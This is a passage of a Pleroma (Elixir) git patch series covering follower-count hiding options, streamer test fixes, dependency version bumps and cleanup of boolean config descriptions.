+ info = Map.merge(user.info, %{hide_follows_count: false, hide_follows: true})
+ user = Map.put(user, :info, info)
+ assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
+ end
end
end
diff --git a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
index 87ee82050..89d4ca37e 100644
--- a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
+++ b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
@@ -128,6 +128,22 @@ test "updates the user's hide_followers status", %{conn: conn} do
assert user["pleroma"]["hide_followers"] == true
end
+ test "updates the user's hide_followers_count and hide_follows_count", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> patch("/api/v1/accounts/update_credentials", %{
+ hide_followers_count: "true",
+ hide_follows_count: "true"
+ })
+
+ assert user = json_response(conn, 200)
+ assert user["pleroma"]["hide_followers_count"] == true
+ assert user["pleroma"]["hide_follows_count"] == true
+ end
+
test "updates the user's skip_thread_containment option", %{conn: conn} do
user = insert(:user)
diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs
index 1d8b28339..8ff6751d3 100644
--- a/test/web/mastodon_api/views/account_view_test.exs
+++ b/test/web/mastodon_api/views/account_view_test.exs
@@ -79,6 +79,8 @@ test "Represent a user account" do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{},
skip_thread_containment: false
}
@@ -147,6 +149,8 @@ test "Represent a Service(bot) account" do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{},
skip_thread_containment: false
}
@@ -318,6 +322,8 @@ test "represent an embedded relationship" do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{
id: to_string(user.id),
following: false,
@@ -361,8 +367,16 @@ test "sanitizes display names" do
end
describe "hiding follows/following" do
- test "shows when follows/following are hidden and sets follower/following count to 0" do
- user = insert(:user, info: %{hide_followers: true, hide_follows: true})
+ test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do
+ info = %{
+ hide_followers: true,
+ hide_followers_count: true,
+ hide_follows: true,
+ hide_follows_count: true
+ }
+
+ user = insert(:user, info: info)
+
other_user = insert(:user)
{:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
@@ -370,6 +384,19 @@ test "shows when follows/following are hidden and sets follower/following count
assert %{
followers_count: 0,
following_count: 0,
+ pleroma: %{hide_follows_count: true, hide_followers_count: true}
+ } = AccountView.render("account.json", %{user: user})
+ end
+
+ test "shows when follows/followers are hidden" do
+ user = insert(:user, info: %{hide_followers: true, hide_follows: true})
+ other_user = insert(:user)
+ {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{
+ followers_count: 1,
+ following_count: 1,
pleroma: %{hide_follows: true, hide_followers: true}
} = AccountView.render("account.json", %{user: user})
end
From 80c5c3495bdd7939e576c8746a959f3f89f44042 Mon Sep 17 00:00:00 2001
From: Steven Fuchs
Date: Tue, 17 Sep 2019 14:44:52 +0000
Subject: [PATCH 021/148] remove remaining errors from tests
---
lib/pleroma/application.ex | 53 ++++++++++++++------
lib/pleroma/web/streamer/state.ex | 18 +++++--
test/integration/mastodon_websocket_test.exs | 16 ++++--
3 files changed, 62 insertions(+), 25 deletions(-)
diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex
index 3b37ce630..dabce771d 100644
--- a/lib/pleroma/application.ex
+++ b/lib/pleroma/application.ex
@@ -43,23 +43,9 @@ def start(_type, _args) do
hackney_pool_children() ++
[
Pleroma.Stats,
- {Oban, Pleroma.Config.get(Oban)},
- %{
- id: :web_push_init,
- start: {Task, :start_link, [&Pleroma.Web.Push.init/0]},
- restart: :temporary
- },
- %{
- id: :federator_init,
- start: {Task, :start_link, [&Pleroma.Web.Federator.init/0]},
- restart: :temporary
- },
- %{
- id: :internal_fetch_init,
- start: {Task, :start_link, [&Pleroma.Web.ActivityPub.InternalFetchActor.init/0]},
- restart: :temporary
- }
+ {Oban, Pleroma.Config.get(Oban)}
] ++
+ task_children(@env) ++
oauth_cleanup_child(oauth_cleanup_enabled?()) ++
streamer_child(@env) ++
chat_child(@env, chat_enabled?()) ++
@@ -163,4 +149,39 @@ defp hackney_pool_children do
:hackney_pool.child_spec(pool, options)
end
end
+
+ defp task_children(:test) do
+ [
+ %{
+ id: :web_push_init,
+ start: {Task, :start_link, [&Pleroma.Web.Push.init/0]},
+ restart: :temporary
+ },
+ %{
+ id: :federator_init,
+ start: {Task, :start_link, [&Pleroma.Web.Federator.init/0]},
+ restart: :temporary
+ }
+ ]
+ end
+
+ defp task_children(_) do
+ [
+ %{
+ id: :web_push_init,
+ start: {Task, :start_link, [&Pleroma.Web.Push.init/0]},
+ restart: :temporary
+ },
+ %{
+ id: :federator_init,
+ start: {Task, :start_link, [&Pleroma.Web.Federator.init/0]},
+ restart: :temporary
+ },
+ %{
+ id: :internal_fetch_init,
+ start: {Task, :start_link, [&Pleroma.Web.ActivityPub.InternalFetchActor.init/0]},
+ restart: :temporary
+ }
+ ]
+ end
end
diff --git a/lib/pleroma/web/streamer/state.ex b/lib/pleroma/web/streamer/state.ex
index 7b5199068..c48752d95 100644
--- a/lib/pleroma/web/streamer/state.ex
+++ b/lib/pleroma/web/streamer/state.ex
@@ -4,16 +4,18 @@ defmodule Pleroma.Web.Streamer.State do
alias Pleroma.Web.Streamer.StreamerSocket
+ @env Mix.env()
+
def start_link(_) do
GenServer.start_link(__MODULE__, %{sockets: %{}}, name: __MODULE__)
end
def add_socket(topic, socket) do
- GenServer.call(__MODULE__, {:add, socket, topic})
+ GenServer.call(__MODULE__, {:add, topic, socket})
end
def remove_socket(topic, socket) do
- GenServer.call(__MODULE__, {:remove, socket, topic})
+ do_remove_socket(@env, topic, socket)
end
def get_sockets do
@@ -29,7 +31,7 @@ def handle_call(:get_state, _from, state) do
{:reply, state, state}
end
- def handle_call({:add, socket, topic}, _from, %{sockets: sockets} = state) do
+ def handle_call({:add, topic, socket}, _from, %{sockets: sockets} = state) do
internal_topic = internal_topic(topic, socket)
stream_socket = StreamerSocket.from_socket(socket)
@@ -44,7 +46,7 @@ def handle_call({:add, socket, topic}, _from, %{sockets: sockets} = state) do
{:reply, state, state}
end
- def handle_call({:remove, socket, topic}, _from, %{sockets: sockets} = state) do
+ def handle_call({:remove, topic, socket}, _from, %{sockets: sockets} = state) do
internal_topic = internal_topic(topic, socket)
stream_socket = StreamerSocket.from_socket(socket)
@@ -57,6 +59,14 @@ def handle_call({:remove, socket, topic}, _from, %{sockets: sockets} = state) do
{:reply, state, state}
end
+ defp do_remove_socket(:test, _, _) do
+ :ok
+ end
+
+ defp do_remove_socket(_env, topic, socket) do
+ GenServer.call(__MODULE__, {:remove, topic, socket})
+ end
+
defp internal_topic(topic, socket)
when topic in ~w[user user:notification direct] do
"#{topic}:#{socket.assigns[:user].id}"
diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs
index c04262808..d02a3cc4d 100644
--- a/test/integration/mastodon_websocket_test.exs
+++ b/test/integration/mastodon_websocket_test.exs
@@ -18,6 +18,11 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
|> Map.put(:path, "/api/v1/streaming")
|> URI.to_string()
+ setup_all do
+ start_supervised(Pleroma.Web.Streamer.supervisor())
+ :ok
+ end
+
def start_socket(qs \\ nil, headers \\ []) do
path =
case qs do
@@ -32,6 +37,7 @@ test "refuses invalid requests" do
capture_log(fn ->
assert {:error, {400, _}} = start_socket()
assert {:error, {404, _}} = start_socket("?stream=ncjdk")
+ Process.sleep(30)
end)
end
@@ -39,17 +45,16 @@ test "requires authentication and a valid token for protected streams" do
capture_log(fn ->
assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
assert {:error, {403, _}} = start_socket("?stream=user")
+ Process.sleep(30)
end)
end
- @tag needs_streamer: true
test "allows public streams without authentication" do
assert {:ok, _} = start_socket("?stream=public")
assert {:ok, _} = start_socket("?stream=public:local")
assert {:ok, _} = start_socket("?stream=hashtag&tag=lain")
end
- @tag needs_streamer: true
test "receives well formatted events" do
user = insert(:user)
{:ok, _} = start_socket("?stream=public")
@@ -94,31 +99,32 @@ test "accepts valid tokens", state do
assert {:ok, _} = start_socket("?stream=user&access_token=#{state.token.token}")
end
- @tag needs_streamer: true
test "accepts the 'user' stream", %{token: token} = _state do
assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}")
assert capture_log(fn ->
assert {:error, {403, "Forbidden"}} = start_socket("?stream=user")
+ Process.sleep(30)
end) =~ ":badarg"
end
- @tag needs_streamer: true
test "accepts the 'user:notification' stream", %{token: token} = _state do
assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}")
assert capture_log(fn ->
assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification")
+ Process.sleep(30)
end) =~ ":badarg"
end
- @tag needs_streamer: true
test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do
assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}])
assert capture_log(fn ->
assert {:error, {403, "Forbidden"}} =
start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])
+
+ Process.sleep(30)
end) =~ ":badarg"
end
end
From 6193157f1998b10ac6cb9f4d36dd863eced81b37 Mon Sep 17 00:00:00 2001
From: Steven Fuchs
Date: Tue, 17 Sep 2019 18:12:27 +0000
Subject: [PATCH 022/148] Fix notification warnings
---
lib/pleroma/workers/web_pusher_worker.ex | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/workers/web_pusher_worker.ex b/lib/pleroma/workers/web_pusher_worker.ex
index bea2baffb..61b451e3e 100644
--- a/lib/pleroma/workers/web_pusher_worker.ex
+++ b/lib/pleroma/workers/web_pusher_worker.ex
@@ -10,7 +10,11 @@ defmodule Pleroma.Workers.WebPusherWorker do
@impl Oban.Worker
def perform(%{"op" => "web_push", "notification_id" => notification_id}, _job) do
- notification = Repo.get(Notification, notification_id)
+ notification =
+ Notification
+ |> Repo.get(notification_id)
+ |> Repo.preload([:activity])
+
Pleroma.Web.Push.Impl.perform(notification)
end
end
From 8d812c28a70ae174985000e98b9618dad746b22e Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Tue, 17 Sep 2019 21:51:50 +0300
Subject: [PATCH 023/148] Update Tesla to 1.3
This version includes a couple of fixes, adds Gun and Mint adapters and
removes 0.x -> 1.0 config migrator, which for some reason fails under
certain conditions. I had to set `override: true` because Quack pins
Tesla to `1.2.0`, but I have looked through the source code and verified
that updating Tesla doesn't break anything there.
---
mix.exs | 2 +-
mix.lock | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/mix.exs b/mix.exs
index 230f90244..d8d3f802d 100644
--- a/mix.exs
+++ b/mix.exs
@@ -113,7 +113,7 @@ defp deps do
{:calendar, "~> 0.17.4"},
{:cachex, "~> 3.0.2"},
{:poison, "~> 3.0", override: true},
- {:tesla, "~> 1.2"},
+ {:tesla, "~> 1.3", override: true},
{:jason, "~> 1.0"},
{:mogrify, "~> 0.6.1"},
{:ex_aws, "~> 2.1"},
diff --git a/mix.lock b/mix.lock
index 547ff6be6..24b34c09c 100644
--- a/mix.lock
+++ b/mix.lock
@@ -90,7 +90,7 @@
"swoosh": {:hex, :swoosh, "0.23.2", "7dda95ff0bf54a2298328d6899c74dae1223777b43563ccebebb4b5d2b61df38", [:mix], [{:cowboy, "~> 1.0.1 or ~> 1.1 or ~> 2.4", [hex: :cowboy, repo: "hexpm", optional: true]}, {:gen_smtp, "~> 0.13", [hex: :gen_smtp, repo: "hexpm", optional: true]}, {:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mail, "~> 0.2", [hex: :mail, repo: "hexpm", optional: true]}, {:mime, "~> 1.1", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_cowboy, ">= 1.0.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}], "hexpm"},
"syslog": {:git, "https://github.com/Vagabond/erlang-syslog.git", "4a6c6f2c996483e86c1320e9553f91d337bcb6aa", [tag: "1.0.5"]},
"telemetry": {:hex, :telemetry, "0.4.0", "8339bee3fa8b91cb84d14c2935f8ecf399ccd87301ad6da6b71c09553834b2ab", [:rebar3], [], "hexpm"},
- "tesla": {:hex, :tesla, "1.2.1", "864783cc27f71dd8c8969163704752476cec0f3a51eb3b06393b3971dc9733ff", [:mix], [{:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "~> 4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}], "hexpm"},
+ "tesla": {:hex, :tesla, "1.3.0", "f35d72f029e608f9cdc6f6d6fcc7c66cf6d6512a70cfef9206b21b8bd0203a30", [:mix], [{:castore, "~> 0.1", [hex: :castore, repo: "hexpm", optional: true]}, {:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:gun, "~> 1.3", [hex: :gun, repo: "hexpm", optional: true]}, {:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "~> 4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:mint, "~> 0.4", [hex: :mint, repo: "hexpm", optional: true]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.3", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm"},
"timex": {:hex, :timex, "3.6.1", "efdf56d0e67a6b956cc57774353b0329c8ab7726766a11547e529357ffdc1d56", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 0.1.8 or ~> 0.5 or ~> 1.0.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm"},
"trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
"tzdata": {:hex, :tzdata, "0.5.21", "8cbf3607fcce69636c672d5be2bbb08687fe26639a62bdcc283d267277db7cf0", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm"},
From d201eec45cc5eb8c7b0c912c14be4704dbb4c1b1 Mon Sep 17 00:00:00 2001
From: Maksim Pechnikov
Date: Tue, 17 Sep 2019 22:02:37 +0300
Subject: [PATCH 024/148] fixed ecto version
---
mix.exs | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/mix.exs b/mix.exs
index 230f90244..58d1606d3 100644
--- a/mix.exs
+++ b/mix.exs
@@ -99,7 +99,7 @@ defp deps do
{:plug_cowboy, "~> 2.0"},
{:phoenix_pubsub, "~> 1.1"},
{:phoenix_ecto, "~> 4.0"},
- {:ecto_sql, "~> 3.1"},
+ {:ecto_sql, "~> 3.2"},
{:postgrex, ">= 0.13.5"},
{:oban, "~> 0.8.1"},
{:quantum, "~> 2.3"},
From 228bfd8a70cefadb8673ed6d11485944ef7c5666 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Tue, 17 Sep 2019 22:36:42 +0300
Subject: [PATCH 025/148] Bump elixir version to ~> 1.8
---
CHANGELOG.md | 1 +
mix.exs | 2 +-
2 files changed, 2 insertions(+), 1 deletion(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 4eb72c002..f2d149304 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -16,6 +16,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Remove `Reply-To` header from report emails for admins.
### Changed
+- **Breaking:** Now pleroma requires Elixir ~> 1.8 (it was ~> 1.7)
- **Breaking:** Configuration: A setting to explicitly disable the mailer was added, defaulting to true, if you are using a mailer add `config :pleroma, Pleroma.Emails.Mailer, enabled: true` to your config
- **Breaking:** Configuration: `/media/` is now removed when `base_url` is configured, append `/media/` to your `base_url` config to keep the old behaviour if desired
- **Breaking:** `/api/pleroma/notifications/read` is moved to `/api/v1/pleroma/notifications/read` and now supports `max_id` and responds with Mastodon API entities.
diff --git a/mix.exs b/mix.exs
index 230f90244..7d262a60f 100644
--- a/mix.exs
+++ b/mix.exs
@@ -5,7 +5,7 @@ def project do
[
app: :pleroma,
version: version("1.0.0"),
- elixir: "~> 1.7",
+ elixir: "~> 1.8",
elixirc_paths: elixirc_paths(Mix.env()),
compilers: [:phoenix, :gettext] ++ Mix.compilers(),
elixirc_options: [warnings_as_errors: true],
From 35dcea3e13673b8a1a078a1f6fbc44f1e2098c22 Mon Sep 17 00:00:00 2001
From: "Haelwenn (lanodan) Monnier"
Date: Fri, 13 Sep 2019 17:05:19 +0200
Subject: [PATCH 026/148] Remove [true,false] for booleans, it is implicit
---
config/description.exs | 262 +++++++++++------------------------------
1 file changed, 68 insertions(+), 194 deletions(-)
diff --git a/config/description.exs b/config/description.exs
index 32d36d6d6..5ae32d0f2 100644
--- a/config/description.exs
+++ b/config/description.exs
@@ -39,11 +39,7 @@
key: :link_name,
type: :boolean,
description:
- "If enabled, a name parameter will be added to the url of the upload. For example `https://instance.tld/media/imagehash.png?name=realname.png`",
- suggestions: [
- true,
- false
- ]
+ "If enabled, a name parameter will be added to the url of the upload. For example `https://instance.tld/media/imagehash.png?name=realname.png`"
},
%{
key: :base_url,
@@ -57,11 +53,7 @@
key: :proxy_remote,
type: :boolean,
description:
- "If enabled, requests to media stored using a remote uploader will be proxied instead of being redirected.",
- suggestions: [
- true,
- false
- ]
+ "If enabled, requests to media stored using a remote uploader will be proxied instead of being redirected."
},
%{
key: :proxy_opts,
@@ -190,11 +182,7 @@
%{
key: :enabled,
type: :boolean,
- description: "Allow/disallow send emails",
- suggestions: [
- true,
- false
- ]
+ description: "Allow/disallow send emails"
},
%{
group: {:subgroup, Swoosh.Adapters.SMTP},
@@ -221,8 +209,7 @@
group: {:subgroup, Swoosh.Adapters.SMTP},
key: :ssl,
type: :boolean,
- description: "`Swoosh.Adapters.SMTP` adapter specific setting",
- suggestions: [true, false]
+ description: "`Swoosh.Adapters.SMTP` adapter specific setting"
},
%{
group: {:subgroup, Swoosh.Adapters.SMTP},
@@ -256,8 +243,7 @@
group: {:subgroup, Swoosh.Adapters.SMTP},
key: :no_mx_lookups,
type: :boolean,
- description: "`Swoosh.Adapters.SMTP` adapter specific setting",
- suggestions: [true, false]
+ description: "`Swoosh.Adapters.SMTP` adapter specific setting"
},
%{
group: {:subgroup, Swoosh.Adapters.Sendgrid},
@@ -284,8 +270,7 @@
group: {:subgroup, Swoosh.Adapters.Sendmail},
key: :qmail,
type: :boolean,
- description: "`Swoosh.Adapters.Sendmail` adapter specific setting",
- suggestions: [true, false]
+ description: "`Swoosh.Adapters.Sendmail` adapter specific setting"
},
%{
group: {:subgroup, Swoosh.Adapters.Mandrill},
@@ -553,38 +538,22 @@
%{
key: :registrations_open,
type: :boolean,
- description: "Enable registrations for anyone, invitations can be enabled when false",
- suggestions: [
- true,
- false
- ]
+ description: "Enable registrations for anyone, invitations can be enabled when false"
},
%{
key: :invites_enabled,
type: :boolean,
- description: "Enable user invitations for admins (depends on registrations_open: false)",
- suggestions: [
- true,
- false
- ]
+ description: "Enable user invitations for admins (depends on registrations_open: false)"
},
%{
key: :account_activation_required,
type: :boolean,
- description: "Require users to confirm their emails before signing in",
- suggestions: [
- true,
- false
- ]
+ description: "Require users to confirm their emails before signing in"
},
%{
key: :federating,
type: :boolean,
- description: "Enable federation with other instances",
- suggestions: [
- true,
- false
- ]
+ description: "Enable federation with other instances"
},
%{
key: :federation_incoming_replies_max_depth,
@@ -618,11 +587,7 @@
%{
key: :allow_relay,
type: :boolean,
- description: "Enable Pleroma's Relay, which makes it possible to follow a whole instance",
- suggestions: [
- true,
- false
- ]
+ description: "Enable Pleroma's Relay, which makes it possible to follow a whole instance"
},
%{
key: :rewrite_policy,
@@ -638,11 +603,7 @@
type: :boolean,
description:
"Makes the client API in authentificated mode-only except for user-profiles." <>
- " Useful for disabling the Local Timeline and The Whole Known Network",
- suggestions: [
- true,
- false
- ]
+ " Useful for disabling the Local Timeline and The Whole Known Network"
},
%{
key: :quarantined_instances,
@@ -658,11 +619,7 @@
key: :managed_config,
type: :boolean,
description:
- "Whenether the config for pleroma-fe is configured in this config or in static/config.json",
- suggestions: [
- true,
- false
- ]
+ "Whenether the config for pleroma-fe is configured in this config or in static/config.json"
},
%{
key: :static_dir,
@@ -689,11 +646,7 @@
key: :mrf_transparency,
type: :boolean,
description:
- "Make the content of your Message Rewrite Facility settings public (via nodeinfo)",
- suggestions: [
- true,
- false
- ]
+ "Make the content of your Message Rewrite Facility settings public (via nodeinfo)"
},
%{
key: :mrf_transparency_exclusions,
@@ -709,11 +662,7 @@
type: :boolean,
description:
"Set to true to use extended local nicknames format (allows underscores/dashes)." <>
- " This will break federation with older software for theses nicknames",
- suggestions: [
- true,
- false
- ]
+ " This will break federation with older software for theses nicknames"
},
%{
key: :max_pinned_statuses,
@@ -741,11 +690,7 @@
key: :no_attachment_links,
type: :boolean,
description:
- "Set to true to disable automatically adding attachment link text to statuses",
- suggestions: [
- true,
- false
- ]
+ "Set to true to disable automatically adding attachment link text to statuses"
},
%{
key: :welcome_message,
@@ -780,20 +725,12 @@
description:
"If set to true, only mentions at the beginning of a post will be used to address people in direct messages." <>
" This is to prevent accidental mentioning of people when talking about them (e.g. \"@friend hey i really don't like @enemy\")." <>
- " Default: false",
- suggestions: [
- true,
- false
- ]
+ " Default: false"
},
%{
key: :healthcheck,
type: :boolean,
- description: "If set to true, system data will be shown on /api/pleroma/healthcheck",
- suggestions: [
- true,
- false
- ]
+ description: "If set to true, system data will be shown on /api/pleroma/healthcheck"
},
%{
key: :remote_post_retention_days,
@@ -823,11 +760,7 @@
%{
key: :skip_thread_containment,
type: :boolean,
- description: "Skip filter out broken threads. The default is true",
- suggestions: [
- true,
- false
- ]
+ description: "Skip filter out broken threads. The default is true"
},
%{
key: :limit_to_local_content,
@@ -844,11 +777,7 @@
key: :dynamic_configuration,
type: :boolean,
description:
- "Allow transferring configuration to DB with the subsequent customization from Admin api. Defaults to `false`",
- suggestions: [
- true,
- false
- ]
+ "Allow transferring configuration to DB with the subsequent customization from Admin api. Defaults to `false`"
},
%{
key: :max_account_fields,
@@ -886,11 +815,7 @@
%{
key: :external_user_synchronization,
type: :boolean,
- description: "Enabling following/followers counters synchronization for external users",
- suggestions: [
- true,
- false
- ]
+ description: "Enabling following/followers counters synchronization for external users"
}
]
},
@@ -1069,48 +994,40 @@
%{
key: :showInstanceSpecificPanel,
type: :boolean,
- description: "Whenether to show the instance's specific panel",
- suggestions: [true, false]
+ description: "Whenether to show the instance's specific panel"
},
%{
key: :scopeOptionsEnabled,
type: :boolean,
- description: "Enable setting an notice visibility and subject/CW when posting",
- suggestions: [true, false]
+ description: "Enable setting an notice visibility and subject/CW when posting"
},
%{
key: :formattingOptionsEnabled,
type: :boolean,
description:
- "Enable setting a formatting different than plain-text (ie. HTML, Markdown) when posting, relates to :instance, allowed_post_formats",
- suggestions: [true, false]
+ "Enable setting a formatting different than plain-text (ie. HTML, Markdown) when posting, relates to :instance, allowed_post_formats"
},
%{
key: :collapseMessageWithSubject,
type: :boolean,
description:
- "When a message has a subject(aka Content Warning), collapse it by default",
- suggestions: [true, false]
+ "When a message has a subject(aka Content Warning), collapse it by default"
},
%{
key: :hidePostStats,
type: :boolean,
- description: "Hide notices statistics(repeats, favorites, ...)",
- suggestions: [true, false]
+ description: "Hide notices statistics(repeats, favorites, ...)"
},
%{
key: :hideUserStats,
type: :boolean,
description:
- "Hide profile statistics(posts, posts per day, followers, followings, ...)",
- suggestions: [true, false]
+ "Hide profile statistics(posts, posts per day, followers, followings, ...)"
},
%{
key: :scopeCopy,
type: :boolean,
- description:
- "Copy the scope (private/unlisted/public) in replies to posts by default",
- suggestions: [true, false]
+ description: "Copy the scope (private/unlisted/public) in replies to posts by default"
},
%{
key: :subjectLineBehavior,
@@ -1124,8 +1041,7 @@
%{
key: :alwaysShowSubjectInput,
type: :boolean,
- description: "When set to false, auto-hide the subject field when it's empty",
- suggestions: [true, false]
+ description: "When set to false, auto-hide the subject field when it's empty"
}
]
},
@@ -1142,8 +1058,7 @@
%{
key: :showInstanceSpecificPanel,
type: :boolean,
- description: "Whenether to show the instance's specific panel",
- suggestions: [true, false]
+ description: "Whenether to show the instance's specific panel"
}
]
}
@@ -1271,14 +1186,12 @@
%{
key: :allow_followersonly,
type: :boolean,
- description: "whether to allow followers-only posts",
- suggestions: [true, false]
+ description: "whether to allow followers-only posts"
},
%{
key: :allow_direct,
type: :boolean,
- description: "whether to allow direct messages",
- suggestions: [true, false]
+ description: "whether to allow direct messages"
}
]
},
@@ -1393,8 +1306,7 @@
%{
key: :enabled,
type: :boolean,
- description: "Enables proxying of remote media to the instance's proxy",
- suggestions: [true, false]
+ description: "Enables proxying of remote media to the instance's proxy"
},
%{
key: :base_url,
@@ -1426,8 +1338,7 @@
%{
key: :enabled,
type: :boolean,
- description: "Enables the gopher interface",
- suggestions: [true, false]
+ description: "Enables the gopher interface"
},
%{
key: :ip,
@@ -1601,8 +1512,7 @@
%{
key: :secure_cookie_flag,
type: :boolean,
- description: "",
- suggestions: [true, false]
+ description: ""
},
%{
key: :extra_cookie_attrs,
@@ -1621,20 +1531,17 @@
%{
key: :unfollow_blocked,
type: :boolean,
- description: "Whether blocks result in people getting unfollowed",
- suggestions: [true, false]
+ description: "Whether blocks result in people getting unfollowed"
},
%{
key: :outgoing_blocks,
type: :boolean,
- description: "Whether to federate blocks to other instances",
- suggestions: [true, false]
+ description: "Whether to federate blocks to other instances"
},
%{
key: :sign_object_fetches,
type: :boolean,
- description: "Sign object fetches with HTTP signatures",
- suggestions: [true, false]
+ description: "Sign object fetches with HTTP signatures"
},
%{
key: :follow_handshake_timeout,
@@ -1653,14 +1560,12 @@
%{
key: :enabled,
type: :boolean,
- description: "Whether the managed content security policy is enabled",
- suggestions: [true, false]
+ description: "Whether the managed content security policy is enabled"
},
%{
key: :sts,
type: :boolean,
- description: "Whether to additionally send a Strict-Transport-Security header",
- suggestions: [true, false]
+ description: "Whether to additionally send a Strict-Transport-Security header"
},
%{
key: :sts_max_age,
@@ -1727,8 +1632,7 @@
%{
key: :enabled,
type: :boolean,
- description: "Whether the captcha should be shown on registration",
- suggestions: [true, false]
+ description: "Whether the captcha should be shown on registration"
},
%{
key: :method,
@@ -1817,8 +1721,7 @@
%{
key: :verbose,
type: :boolean,
- description: "Logs verbose mode",
- suggestions: [false, true]
+ description: "Logs verbose mode"
},
%{
key: :prune,
@@ -1937,11 +1840,7 @@
%{
key: :unfurl_nsfw,
type: :boolean,
- description: "If set to true nsfw attachments will be shown in previews",
- suggestions: [
- true,
- false
- ]
+ description: "If set to true nsfw attachments will be shown in previews"
}
]
},
@@ -1955,8 +1854,7 @@
key: :enabled,
type: :boolean,
description:
- "if enabled the instance will parse metadata from attached links to generate link previews",
- suggestions: [true, false]
+ "if enabled the instance will parse metadata from attached links to generate link previews"
},
%{
key: :ignore_hosts,
@@ -1998,8 +1896,7 @@
key: :enabled,
type: :boolean,
description:
- "if enabled, when a new user is federated with, fetch some of their latest posts",
- suggestions: [true, false]
+ "if enabled, when a new user is federated with, fetch some of their latest posts"
},
%{
key: :pages,
@@ -2030,14 +1927,12 @@
%{
key: :new_window,
type: :boolean,
- description: "set to false to remove target='_blank' attribute",
- suggestions: [true, false]
+ description: "set to false to remove target='_blank' attribute"
},
%{
key: :scheme,
type: :boolean,
- description: "Set to true to link urls with schema http://google.com",
- suggestions: [true, false]
+ description: "Set to true to link urls with schema http://google.com"
},
%{
key: :truncate,
@@ -2049,14 +1944,12 @@
%{
key: :strip_prefix,
type: :boolean,
- description: "Strip the scheme prefix",
- suggestions: [true, false]
+ description: "Strip the scheme prefix"
},
%{
key: :extra,
type: :boolean,
- description: "link urls with rarely used schemes (magnet, ipfs, irc, etc.)",
- suggestions: [true, false]
+ description: "link urls with rarely used schemes (magnet, ipfs, irc, etc.)"
}
]
},
@@ -2083,8 +1976,7 @@
%{
key: :enabled,
type: :boolean,
- description: "whether scheduled activities are sent to the job queue to be executed",
- suggestions: [true, false]
+ description: "whether scheduled activities are sent to the job queue to be executed"
}
]
},
@@ -2097,8 +1989,7 @@
%{
key: :enabled,
type: :boolean,
- description: "whether expired activities will be sent to the job queue to be deleted",
- suggestions: [true, false]
+ description: "whether expired activities will be sent to the job queue to be deleted"
}
]
},
